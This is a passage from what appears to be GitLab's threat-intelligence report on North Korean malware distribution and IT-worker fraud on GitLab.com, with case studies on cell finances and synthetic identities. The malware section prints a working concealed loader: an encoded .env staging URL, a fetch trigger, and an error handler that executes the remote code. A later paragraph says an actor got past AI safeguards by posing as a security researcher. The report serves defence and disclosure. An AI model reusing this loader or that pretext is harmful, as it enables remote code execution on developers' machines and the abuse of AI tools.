September.</p><p>Threat actors typically originated from consumer VPNs when interacting with GitLab.com to distribute malware; however they also intermittently originated from dedicated VPS infrastructure and likely laptop farm IP addresses. Threat actors created accounts using Gmail email addresses in almost 90% of cases. We observed custom email domains in only five cases, all relating to organizations we assess are likely front companies controlled by North Korean threat actors. Based on project composition, threat actors most commonly targeted developers seeking employment in the cryptocurrency, finance, and real estate sectors. Threat actors also targeted developers in sectors, including artificial intelligence and gaming, at a low rate.</p><p>In more than 80% of instances, threat actors did not store malware payloads on GitLab.com, instead storing a concealed loader intended to source and execute remote content. Threat actors abused at least six legitimate services to host malware payloads, most commonly Vercel. Threat actors also used custom domains to host malware payloads at least 10 times in 2025.</p><p><img alt="Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/kgjafjsrhpczu00fjdwb.png" title="Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025." /></p><p>We observed diverse project structures and a gradual evolution of concealment techniques through 2025. In nine instances, threat actors used malicious NPM dependencies created immediately prior to their use in malicious projects. In December, we observed a cluster of projects executing malware via VS Code tasks, either piping remote content to a native shell or executing a custom script to decode malware from binary data in a fake font file.</p><p><img alt="Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/p2gpkuvise7ftc5lr7pv.png" title="Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025." /></p><h4 id="malicious-code-project-features">Malicious code project features</h4><p>The most common execution pattern we observed in 2025 had the following features:</p><ul><li>A base64 encoded next-stage URL, header key, and header value, all masquerading as benign variables in a .env file.</li><li>A trigger function intended to source remote content and raise an error.</li><li>A global invocation of the trigger function in a file executed as soon as the project is run.</li><li>A custom error handler intended to execute remote content from the trigger function by using <code className="">Function.constructor</code> to load a string as executable code.</li></ul><p><strong>Example excerpt from a .env file containing malicious encoded variables:</strong></p><pre className="language-shell shiki shiki-themes github-light" code="# Runtime Configuration
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzgyMw
RUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy
RUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0
" language="shell" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#6A737D"># Runtime Configuration
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">RUNTIME_CONFIG_API_KEY</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzgyMw
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">RUNTIME_CONFIG_ACCESS_KEY</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">eC1zZWNyZXQtaGVhZGVy
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">RUNTIME_CONFIG_ACCESS_VALUE</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">c2VjcmV0
</span></span></code></pre><p><strong>Decoded values from the .env file (defanged):</strong></p><pre className="language-shell shiki shiki-themes github-light" code="# Runtime Configuration
RUNTIME_CONFIG_API_KEY=hxxps[:]//api-server-mocha.vercel[.]app/api/ipcheck-encrypted/823
RUNTIME_CONFIG_ACCESS_KEY=x-secret-header
RUNTIME_CONFIG_ACCESS_VALUE=secret
" language="shell" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#6A737D"># Runtime Configuration
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">RUNTIME_CONFIG_API_KEY</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">hxxps[:</span><span style="--shiki-default:#24292E">]//api-server-mocha.vercel[.]app/api/ipcheck-encrypted/823
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">RUNTIME_CONFIG_ACCESS_KEY</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">x-secret-header
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">RUNTIME_CONFIG_ACCESS_VALUE</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">secret
</span></span></code></pre><p><strong>Example trigger function intended to source remote content from the concealed staging URL and trigger the custom error handler:</strong></p><pre className="language-javascript shiki shiki-themes github-light" code="const errorTimeHandler = async () =&gt; {
  try {
    const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
    const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
    const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
    try {
      globalConfig = (await axios.get(`${src}`, {
        headers: {
          [k]: v
        }
      }));
      log(&#39;Runtime config loaded successfully.&#39;);
    } catch (error) {
      errorHandler(error.response?.data || error.message);
    }
  } catch (err) {
    await errorHandler(err.response?.data || err.message || err);
  }
};
" language="javascript" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#D73A49">const</span><span style="--shiki-default:#6F42C1"> errorTimeHandler</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#D73A49"> async</span><span style="--shiki-default:#24292E"> () </span><span style="--shiki-default:#D73A49">=&gt;</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="2"><span style="--shiki-default:#D73A49">  try</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="3"><span style="--shiki-default:#D73A49">    const</span><span style="--shiki-default:#005CC5"> src</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#6F42C1"> atob</span><span style="--shiki-default:#24292E">(process.env.</span><span style="--shiki-default:#005CC5">RUNTIME_CONFIG_API_KEY</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="4"><span style="--shiki-default:#D73A49">    const</span><span style="--shiki-default:#005CC5"> k</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#6F42C1"> atob</span><span style="--shiki-default:#24292E">(process.env.</span><span style="--shiki-default:#005CC5">RUNTIME_CONFIG_ACCESS_KEY</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="5"><span style="--shiki-default:#D73A49">    const</span><span style="--shiki-default:#005CC5"> v</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#6F42C1"> atob</span><span style="--shiki-default:#24292E">(process.env.</span><span style="--shiki-default:#005CC5">RUNTIME_CONFIG_ACCESS_VALUE</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="6"><span style="--shiki-default:#D73A49">    try</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="7"><span style="--shiki-default:#24292E">      globalConfig </span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#24292E"> (</span><span style="--shiki-default:#D73A49">await</span><span style="--shiki-default:#24292E"> axios.</span><span style="--shiki-default:#6F42C1">get</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#032F62">`${</span><span style="--shiki-default:#24292E">src</span><span style="--shiki-default:#032F62">}`</span><span style="--shiki-default:#24292E">, {
</span></span><span class="line" line="8"><span style="--shiki-default:#24292E">        headers: {
</span></span><span class="line" line="9"><span style="--shiki-default:#24292E">          [k]: v
</span></span><span class="line" line="10"><span style="--shiki-default:#24292E">        }
</span></span><span class="line" line="11"><span style="--shiki-default:#24292E">      }));
</span></span><span class="line" line="12"><span style="--shiki-default:#6F42C1">      log</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#032F62">&#39;Runtime config loaded successfully.&#39;</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="13"><span style="--shiki-default:#24292E">    } </span><span style="--shiki-default:#D73A49">catch</span><span style="--shiki-default:#24292E"> (error) {
</span></span><span class="line" line="14"><span style="--shiki-default:#6F42C1">      errorHandler</span><span style="--shiki-default:#24292E">(error.response?.data </span><span style="--shiki-default:#D73A49">||</span><span style="--shiki-default:#24292E"> error.message);
</span></span><span class="line" line="15"><span style="--shiki-default:#24292E">    }
</span></span><span class="line" line="16"><span style="--shiki-default:#24292E">  } </span><span style="--shiki-default:#D73A49">catch</span><span style="--shiki-default:#24292E"> (err) {
</span></span><span class="line" line="17"><span style="--shiki-default:#D73A49">    await</span><span style="--shiki-default:#6F42C1"> errorHandler</span><span style="--shiki-default:#24292E">(err.response?.data </span><span style="--shiki-default:#D73A49">||</span><span style="--shiki-default:#24292E"> err.message </span><span style="--shiki-default:#D73A49">||</span><span style="--shiki-default:#24292E"> err);
</span></span><span class="line" line="18"><span style="--shiki-default:#24292E">  }
</span></span><span class="line" line="19"><span style="--shiki-default:#24292E">};
</span></span></code></pre><p><strong>Example custom error handler intended to execute remote code:</strong></p><pre className="language-javascript shiki shiki-themes github-light" code="const errorHandler = (error) =&gt; {
  try {
    if (typeof error !== &#39;string&#39;) {
      sss
      console.error(&#39;Invalid error format. Expected a string.&#39;);
      return;
    }
    const createHandler = (errCode) =&gt; {
      try {
        const handler = new(Function.constructor)(&#39;require&#39;, errCode);
        return handler;
      } catch (e) {
        console.error(&#39;Failed:&#39;, e.message);
        return null;
      }
    };
    const handlerFunc = createHandler(error);
    if (handlerFunc) {
      handlerFunc(require);
    } else {
      console.error(&#39;Handler function is not available.&#39;);
    }
  } catch (globalError) {
    console.error(&#39;Unexpected error inside errorHandler:&#39;, globalError.message);
  }
};
" language="javascript" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#D73A49">const</span><span style="--shiki-default:#6F42C1"> errorHandler</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#24292E"> (</span><span style="--shiki-default:#E36209">error</span><span style="--shiki-default:#24292E">) </span><span style="--shiki-default:#D73A49">=&gt;</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="2"><span style="--shiki-default:#D73A49">  try</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="3"><span style="--shiki-default:#D73A49">    if</span><span style="--shiki-default:#24292E"> (</span><span style="--shiki-default:#D73A49">typeof</span><span style="--shiki-default:#24292E"> error </span><span style="--shiki-default:#D73A49">!==</span><span style="--shiki-default:#032F62"> &#39;string&#39;</span><span style="--shiki-default:#24292E">) {
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">      sss
</span></span><span class="line" line="5"><span style="--shiki-default:#24292E">      console.</span><span style="--shiki-default:#6F42C1">error</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#032F62">&#39;Invalid error format. Expected a string.&#39;</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="6"><span style="--shiki-default:#D73A49">      return</span><span style="--shiki-default:#24292E">;
</span></span><span class="line" line="7"><span style="--shiki-default:#24292E">    }
</span></span><span class="line" line="8"><span style="--shiki-default:#D73A49">    const</span><span style="--shiki-default:#6F42C1"> createHandler</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#24292E"> (</span><span style="--shiki-default:#E36209">errCode</span><span style="--shiki-default:#24292E">) </span><span style="--shiki-default:#D73A49">=&gt;</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="9"><span style="--shiki-default:#D73A49">      try</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="10"><span style="--shiki-default:#D73A49">        const</span><span style="--shiki-default:#005CC5"> handler</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#D73A49"> new</span><span style="--shiki-default:#24292E">(Function.</span><span style="--shiki-default:#005CC5">constructor</span><span style="--shiki-default:#24292E">)(</span><span style="--shiki-default:#032F62">&#39;require&#39;</span><span style="--shiki-default:#24292E">, errCode);
</span></span><span class="line" line="11"><span style="--shiki-default:#D73A49">        return</span><span style="--shiki-default:#24292E"> handler;
</span></span><span class="line" line="12"><span style="--shiki-default:#24292E">      } </span><span style="--shiki-default:#D73A49">catch</span><span style="--shiki-default:#24292E"> (e) {
</span></span><span class="line" line="13"><span style="--shiki-default:#24292E">        console.</span><span style="--shiki-default:#6F42C1">error</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#032F62">&#39;Failed:&#39;</span><span style="--shiki-default:#24292E">, e.message);
</span></span><span class="line" line="14"><span style="--shiki-default:#D73A49">        return</span><span style="--shiki-default:#005CC5"> null</span><span style="--shiki-default:#24292E">;
</span></span><span class="line" line="15"><span style="--shiki-default:#24292E">      }
</span></span><span class="line" line="16"><span style="--shiki-default:#24292E">    };
</span></span><span class="line" line="17"><span style="--shiki-default:#D73A49">    const</span><span style="--shiki-default:#005CC5"> handlerFunc</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#6F42C1"> createHandler</span><span style="--shiki-default:#24292E">(error);
</span></span><span class="line" line="18"><span style="--shiki-default:#D73A49">    if</span><span style="--shiki-default:#24292E"> (handlerFunc) {
</span></span><span class="line" line="19"><span style="--shiki-default:#6F42C1">      handlerFunc</span><span style="--shiki-default:#24292E">(require);
</span></span><span class="line" line="20"><span style="--shiki-default:#24292E">    } </span><span style="--shiki-default:#D73A49">else</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="21"><span style="--shiki-default:#24292E">      console.</span><span style="--shiki-default:#6F42C1">error</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#032F62">&#39;Handler function is not available.&#39;</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="22"><span style="--shiki-default:#24292E">    }
</span></span><span class="line" line="23"><span style="--shiki-default:#24292E">  } </span><span style="--shiki-default:#D73A49">catch</span><span style="--shiki-default:#24292E"> (globalError) {
</span></span><span class="line" line="24"><span style="--shiki-default:#24292E">    console.</span><span style="--shiki-default:#6F42C1">error</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#032F62">&#39;Unexpected error inside errorHandler:&#39;</span><span style="--shiki-default:#24292E">, globalError.message);
</span></span><span class="line" line="25"><span style="--shiki-default:#24292E">  }
</span></span><span class="line" line="26"><span style="--shiki-default:#24292E">};
</span></span></code></pre><p>The error handler execution pattern allows threat actors to spread malicious components across up to four files and follows a code path targets may miss even if they audit code before running it. Staging URLs commonly respond with decoy content unless the correct header values are included with requests. This technique became increasingly common through 2025, alongside other anti-analysis developments, including sandbox detection in Ottercookie and the increasing use of invite-only private projects.</p><p>The extent to which distinctive subgroups of activity overlap in time leads us to assess that North Korean nation-state malware distribution on GitLab.com almost certainly relates to distinct teams operating in parallel with limited coordination. We’ve observed instances consistent with individual operators independently trying to fix an execution issue or add a feature to their malware. We also observed instances where threat actors have more than one malware execution pathway in a malicious repository, potentially resulting in malware executing twice or more. These instances suggest low technical proficiency among some operators, who appear to lack confidence when modifying malware code.</p><h4 id="other-notable-observations">Other notable observations</h4><p>In July 2025, we identified a project containing notes kept by a North Korean nation-state malware distributor. The threat actor maintained a target list containing more than 1,000 individuals&#39; names. Comments added by the threat actor identify 209 individuals having responded to contact attempts, 88 of whom were recorded as having executed a malicious project. This operator also maintained documents and code related to contract software development, suggesting simultaneous engagement in both malware distribution and fraudulent employment.</p><p>In September 2025, we observed a North Korean nation-state malware developer using AI to help develop a custom obfuscator for BeaverTail. Based on commit messages and project data, the developer used ChatGPT and Cursor (with an unknown model) to refine their obfuscator by testing whether AI was capable of de-obfuscating their code. Based on AI model responses, the threat actor was able to avoid triggering safeguards by posing as a security researcher attempting to analyze the malware. This demonstrates the broadly empowering nature of AI and the limits of safeguards in preventing use by motivated threat actors. We have not observed the BeaverTail variant the threat actor created in the wild.</p><p>In October 2025, a North Korean nation-state-controlled account submitted a support ticket to appeal a ban from GitLab.com for malware distribution. The threat actor, posing as the CTO of a newly created cryptocurrency organization, inquired about the reason for their ban and requested account reinstatement. We assess that this support ticket was likely an attempt to gather information about our detection methodology. We provided no information to the threat actor and also banned a subsequent account they created using the same CTO persona.</p><h3 id="implications">Implications</h3><p>North Korean nation-state malware operations are atypical because of how much direct human effort is involved. The volume of manual effort by many operators presents a challenge to service providers because of the extreme diversity in techniques that emerges.</p><p>We observed an increasing emphasis on obfuscation and evasiveness in the second half of 2025, indicating that service provider disruptions are forcing an evolution in tactics. Despite this, we anticipate that North Korean nation-state malware campaigns will continue through 2026 due to the continued effectiveness of the campaign and the high value of developer endpoints to North Korean threat actors.</p><h3 id="mitigation">Mitigation</h3><p>We banned 131 accounts associated with North Korean nation-state malware distribution in 2025. We’re grateful for the abuse reports we received from GitLab.com users, which helped us to track threat actors through infrastructure and technique shifts. We encourage GitLab.com users encountering malicious or suspicious content to continue to submit abuse reports using the abuse report functionality on user profile pages.</p><p>We improved our data collection and clustering of North Korean nation-state accounts and invested in new capabilities to identify threat actor infrastructure. We collaborated with industry partners to share our data, enabling the disruption of accounts on other platforms.</p><h2 id="case-studies">Case studies</h2><h3 id="case-study-1-north-korean-it-worker-cell-manager-financial-and-administrative-records">Case Study 1: North Korean IT Worker Cell Manager Financial and Administrative Records</h3><h4 id="summary">Summary</h4><p>We identified a private project almost certainly controlled by Kil-Nam Kang (강길남), a North Korean national managing a North Korean IT worker cell. Kang maintained detailed financial and personnel records showing earnings of more than US$1.64 million between Q1 2022 and Q3 2025. Kang’s cell currently includes seven other North Korean nationals and generates revenue through freelance software development under false identities. We assess that the cell is highly likely colocated and operating from Beijing, China.</p><h4 id="key-findings-1">Key findings</h4><p>In late 2025, we identified a private project containing financial records and administrative documents related to the operation of a North Korean IT worker cell. Detailed financial records span from Q1 2022 to Q3 2025, however less detailed records indicate the cell was operating as early as 2019.</p><p>We assess that the project is almost certainly controlled by North Korean national Kil-Nam Kang. Records indicate that Kang managed the cell as two subteams in 2022, however from 2023 onwards only tracked performance at the individual level. Kang maintains detailed personnel records, including dossiers on each team member, performance reviews, and copies of team members’ passports. Kang also has credentials to remotely access each cell member&#39;s workstation.</p><p><img alt="Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692342/zasqtzdr3xpq9wgqh6a1.png" title="Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang." /></p><p>Personnel dossiers list each of the cell members as “베이징주재 김일성종합대학 공동연구중심 연구사”, translating to “Researcher at Kim Il-sung University Joint Research Center in Beijing”. This designation suggests that the cell’s presence in China may be under an academic pretext. Kang generally accessed GitLab.com via Astrill VPN, however we also observed origination from China Unicom IP addresses geolocated to Beijing, most recently <code className="">111.197.183.74</code>.</p><p>Dossiers list devices and accounts owned by each cell member, including passwords to access accounts. Dossiers list from two to four “대방관계” (“bilateral relations”) for each cell member. We assess that these bilateral relations almost certainly include active facilitators, however may also include inadvertent facilitators or victims of identity theft. Bilateral relations span countries including the U.S., Canada, Mexico, Panama, the U.K., France, Spain, Sweden, Montenegro, Russia, China, Thailand, Indonesia, Malaysia, Philippines, Sri Lanka, Argentina, Chile, and Peru. The project contains other data on bilateral relations, including identity documents, banking information, and credentials to remotely access devices and accounts.</p><p>Financial records indicate that the cell generates revenue through freelance and contract software development services. The cell maintains detailed notes linking each software development project to a facilitator persona. These notes include samples of communication styles and notes on facilitator circumstances and temperaments to enable cell members to switch between projects if required. The cell focused on web and mobile app development.</p><p>Software development clients pay the cell via digital payment processors. Withdrawal receipts indicate that cell members withdraw funds from payment platforms into Chinese banks. The cell maintained organized banking records, including digital images of Chinese Resident Identity Cards, which are required to access the Chinese financial system. The cell maintained individual records for at least three Chinese banks. One Chinese Resident Identity Card relates to a North Korean national who is not a member of the cell.</p><p><img alt="Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client &amp; financial organization names redacted." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692489/zetnsj3ufqqnlefbpwk0.png" title="Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client &amp; financial organization names redacted." /></p><p><img alt="Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692675/ghr0pg1hrtu109hk2xes.png" title="Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts." /></p><p>The project contained more than 120 spreadsheets, presentations, and documents that systematically track quarterly income performance for individual team members. Reports compare team member earnings against predefined targets and quarter-over-quarter performance. The comprehensiveness and highly structured nature of financial reports is indicative of regular financial monitoring and reporting to leadership.</p><p><img alt="Screenshot of presentation showing cell performance data for Q3 2025." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692846/kepq0zhevybpfrdnkg3t.png" title="Screenshot of presentation showing cell performance data for Q3 2025." /></p><p><img alt="Screenshot of presentation showing cell member performance relative to goals for Q3 2025." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692964/mwsgg1hs3zqgddibaxsy.png" title="Screenshot of presentation showing cell member performance relative to goals for Q3 2025." /></p><p><img alt="Screenshot of presentation showing cell performance data by month for Q3 2025." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693162/eilplgjpnrlh1mln1l67.png" title="Screenshot of presentation showing cell performance data by month for Q3 2025." /></p><p>We aggregated financial data and identified a total reported income of US$1.64 million from Q1 2022 to Q3 2025. The cell had a target of US$1.88 million over the same period. The cell averaged approximately US$117,000 per quarter, approximately US$14,000 per member excluding Kang. The cell produced the highest earnings in the first half of 2022 and lowest earnings in Q3 2025.</p><p><img alt="Actual and target cell earnings over time, 2022 to 2025." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693321/e4okiye7ucr0gge28wle.png" title="Actual and target cell earnings over time, 2022 to 2025." /></p><p>We assess that cell income goals were likely set based on a combination of prior earnings and cell membership. In Q3 2025, cell member Won-Jin Kim was dropped from tracking and his documentation was shifted to a directory marked “귀국” (“Return to the home country”). We assess that Won-Jin Kim’s departure from the cell is unlikely to relate to revenue generation performance based on consistently high earnings relative to other members.</p><p>The private project also contained performance reviews for cell members, dated 2020. These performance reviews confirm that the cell is physically colocated and include commentary about cell members’:</p><ul><li>Earnings contribution and mutual skills development.</li><li>Voluntary donations for Typhoon Bavi and COVID-19 recovery in North Korea.</li><li>Contributions to collective household duties, including doing laundry, providing haircuts, and purchasing shared food and drink.</li><li>Interpersonal values and adherence to party values.</li></ul><p>These reviews suggest that the cell operates as a tightly controlled collective household where individual performance encompasses both revenue generation and ideological conformity. We observed instances of a cell member communicating with an unknown party by continually overwriting an HTML comment hidden in a large decoy codebase. The other party appeared to be able to communicate with North Korea, and provided the cell member with information about personal matters and the international movements of mutual contacts. This communication method was unique to this exchange and may have been an attempt by the cell member to evade surveillance by their superiors.</p><p><img alt="Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694080/cxenda3rxohgwbbrddz2.png" title="Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea." /></p><h4 id="implications-1">Implications</h4><p>This activity provides a unique view into the financial operations and organizational structure of a North Korean IT worker cell. Records demonstrate that these operations function as structured enterprises with defined targets and operating procedures and close hierarchical oversight. This cell’s demonstrated ability to cultivate facilitators globally provides a high degree of operational resiliency and money laundering flexibility.</p><p>The declining earnings trend through 2025 may reflect a changing landscape due to increased public awareness of North Korean IT worker activities. Despite this decline, the cell had earnings exceeding US$11,000 per member in Q3 2025, demonstrating a clear capability to generate funds for the regime.</p><h4 id="mitigations">Mitigations</h4><p>We banned accounts related to this activity.</p><h3 id="case-study-2-synthetic-identity-creation-and-service-abuse-at-scale">Case Study 2: Synthetic Identity Creation and Service Abuse at Scale</h3><h4 id="summary-1">Summary</h4><p>We identified a North Korean nation-state software development team collaborating on a large-scale synthetic identity creation capability. The capability included functionality to scrape images and personal data, generate fake passports, and automate email and professional networking accounts to generate leads. The threat actors also developed tools to synchronize Git repositories and created copies of proprietary code they gained access to. This activity cluster created a minimum of 135 synthetic identities purporting to originate from Eastern Europe and Southeast Asia. Using these personas, the actor gained access to at least 48 private codebases.</p><h4 id="key-findings-2">Key findings</h4><p>We identified a set of projects contributed to by a North Korean nation-state activity cluster focused on capability development and large scale synthetic identity creation. The cluster included 10 distinct GitLab accounts or Git identities that exhibited concurrent activity or had distinct origins, leading us to assess that the activity cluster highly likely comprised at least a small team of developers. Accounts commonly originated from Virtual Private Servers but intermittently originated from Russian IP space. The development team commenced activities in 2021 but was most active from late-2024 to mid-2025.</p><p>The threat actor developed a complex multistage process to generate synthetic identities at scale. The overall flow of the threat actor’s identity creation capability was to:</p><ol><li>Scrape photographs from social media, AI image generators, and other platforms.</li><li>Use the legitimate faceswapper.ai service to create novel images by swapping faces from diverse source images into headshot-style images suitable for identity documents.</li><li>Generate passports with fake personal information using VerifTools and newly created headshots. VerifTools is an illicit fraudulent identity document service <a href="https://www.justice.gov/usao-nm/pr/us-government-seizes-online-marketplaces-selling-fraudulent-identity-documents-used" rel="">disrupted by U.S. authorities in August 2025</a>. Downloaded passports contained watermarks because the threat actor did not pay for VerifTools.</li><li>Use an automated Adobe Photoshop routine stored in a .atn file to extract and remove VerifTools watermarks.</li><li>Create accounts on email and professional networking sites. The threat actor used fake passports to seek enhanced identity verification on professional networking sites.</li></ol><p>The threat actor’s tooling to interact with abused services was brokered through a control node hosted at <code className="">185.92.220.208</code>. This control node served a custom API that allowed individual operators to remotely create, monitor, and control individual accounts. The threat actor used web browsers instrumented with Selenium to interact with abused services. The threat actor primarily automated accounts to make connections and cold contact leads to generate software engineering work.</p><p>The threat actor used a combination of dedicated, IPRoyal, and open proxies to obfuscate their activities and stored a massive volume of solutions to animal/object matching CAPTCHA challenges to facilitate bypasses in automated scripts. The control node tracked the efficacy of the threat actor’s accounts, contact scripts, and infrastructure, allowing the threat actor to monitor campaign effectiveness and adapt its techniques over time through an administrative dashboard.</p><p>The threat actor stored working data on dedicated infrastructure or in cloud storage accounts rather than on GitLab.com. However, in September 2024, the threat actor inadvertently committed a dump of its database to GitLab.com. The database contained records of profiles controlled at that time, which was early in the development of the capability. The contents of some fields in the database were encrypted, however the server-side decryption routine code stored on GitLab.com contained a hard-coded key, allowing us to decrypt the data.</p><p>As of September 2024, the threat actor controlled 135 synthetic identities. Identities most commonly purported to be based in Serbia, but also purportedly originated from Poland, Philippines, Indonesia, Bulgaria, Croatia, Romania, Lithuania, Moldova, Hungary, and Slovakia. For each account, the threat actor stored information about whether identity verification was successful, with overall results indicating the threat actor was successful in just over 40% of verification attempts. Commit volume on the synthetic identity capability escalated sharply from September 2024 to December 2024, indicating that the true scale of the threat actor’s activities may have been much higher. The threat actor also had more than 73,000 leads stored in its database dump, providing insight into the scope of its outbound activities.</p><p><img alt="Distribution of purported account origins" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694425/igefe8soxgg1gt2lfasy.png" /></p><p><img alt="Distribution of identity verification results" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694350/liucfviexwkxy028ysyf.png" /></p><p>The threat actor also created a set of command line tools for standardized Git operations.  The tooling was primarily intended to allow the threat actor to mirror Git repositories from private namespaces on a range of cloud and self-managed source code management systems. The tooling allowed the threat actor to push commits to the mirror and then have them synchronized to remote repositories under the correct Git identities. This capability gave the threat actor a safety net against making commits under the wrong identity and also meant that they exfiltrated copies of codebases they gained access to. Based on metadata reports committed to GitLab.com by the threat actor, they used this mirroring tooling on at least 48 unique repositories.</p><h4 id="implications-2">Implications</h4><p>This cluster is notable among North Korean nation-state activity we observed in 2025 due to the strong focus on automation and continued efficacy monitoring. This cluster also demonstrates that North Korean nation-state threat actors draw on both emerging AI capabilities and the cybercrime ecosystem to enhance their operations.</p><p>Identity development is a fundamental element of North Korean nation-state insider activity. North Korean nation-state threat actors incrementally build legitimacy through identities spanning multiple platforms and by seeking enhanced verification services where possible. North Korean nation-state identity cultivation draws on network effects by creating interactions, reviews and testimonials between personas. These tactics have the drawback of increasing threat actors’ exposure to service provider takedowns. Organizations should treat applications with dead links to professional profiles and source code portfolios as highly suspicious.</p><h4 id="mitigations-1">Mitigations</h4><p>We banned the accounts associated with this activity and notified impacted service providers of potential abuse of their platforms.</p><h3 id="case-study-3-north-korean-operator-controlling-21-personas">Case Study 3: North Korean Operator Controlling 21 Personas</h3><h4 id="summary-2">Summary</h4><p>We identified an individual North Korean operator controlling at least 21 distinct personas based on real identities. The threat actor was focused on revenue generation through contract and freelance software development. The threat actor’s personas spanned five countries and were supported by doctored identity documents and personal information obtained from open sources and through a likely cyber intrusion.</p><h4 id="key-findings-3">Key findings</h4><p>We identified a code project used by an individual North Korean operator active from at least May 2021 until February 2025. The threat actor was focused on generating revenue through contract and freelance software development under a range of stolen or shared identities, spanning at least 21 distinct personas. The threat actor focused on web, blockchain, and cloud skill sets, and created blogs and professional social media accounts on various external platforms. The threat actor typically accessed GitLab.com via commercial VPNs and Virtual Private Servers with RDP enabled. Based on lapses in proxy use, the threat actor was likely physically located in Russia during early 2025.</p><p>The threat actor maintained individual directories for each identity, containing identity documents, resumes, signatures, personal information, and payment card information. The threat actor’s identities spanned the U.S., Canada, Ukraine, Estonia, and Macedonia. For five of their eight U.S.-based identities, the threat actor used Photoshop to edit their own image into one or more stolen identity documents, preserving otherwise valid details. The threat actor produced false Florida and Texas driver licenses and false U.S. passports. The threat actor had Photoshop Document (PSD) template files to produce identity documents for Australia, Austria, Canada, Finland, Germany, Malaysia, Mexico, Philippines, and Poland. We identified some of these template files for sale via illicit services online and assess that the threat actor likely purchased the templates.</p><p><img alt="Doctored U.S. identity documents containing the threat actor’s photograph." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694685/rof3zsajd7asn8lcq0oc.png" title="Doctored U.S. identity documents containing the threat actor’s photograph." /></p><p>The threat actor also collected personal information on U.S.-based individuals. The threat actor had files that appear to have been exported from the HR management system of a large U.S.-based hospitality company. The files contained information including personal and contact details, protected class status, and identity document numbers for almost 8,000 employees of the organization. We were unable to locate this data in circulation or data breach aggregators, 